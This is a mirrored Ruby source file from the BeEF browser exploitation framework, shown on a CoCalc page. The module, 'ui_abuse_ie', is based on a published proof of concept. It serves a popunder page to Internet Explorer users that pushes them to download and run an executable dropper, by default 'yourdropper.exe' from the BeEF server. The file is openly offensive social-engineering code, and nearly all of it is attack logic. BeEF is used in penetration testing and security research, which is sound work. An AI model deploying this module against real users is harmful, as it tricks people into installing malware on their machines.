Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/social_engineering/ui_abuse_ie/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
################################################################################
7
# Based on the PoC by Rosario Valotta
8
# Ported to BeEF by antisnatchor
9
# For more information see: https://sites.google.com/site/tentacoloviola/
10
################################################################################
11
class Ui_abuse_ie < BeEF::Core::Command
12
def self.options
13
[
14
{ 'name' => 'exe_url', 'ui_label' => 'Executable URL (MUST be signed)', 'value' => 'http://beef_server:beef_port/yourdropper.exe' }
15
]
16
end
17
18
def pre_send
19
@datastore.each do |input|
20
@exe_url = input['value'] if input['name'] == 'exe_url'
21
end
22
23
popunder = File.read("#{$root_dir}/modules/social_engineering/ui_abuse_ie/popunder.html")
24
body = popunder.gsub('__URL_PLACEHOLDER__', @exe_url)
25
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200', { 'Content-Type' => 'text/html' }, body, '/underpop.html', -1)
26
rescue StandardError => e
27
print_error "Something went wrong executing Ui_abuse_ie::pre_send, exception: #{e.message}"
28
end
29
30
def post_execute
31
content = {}
32
content['results'] = @datastore['results']
33
save content
34
end
35
end
36
37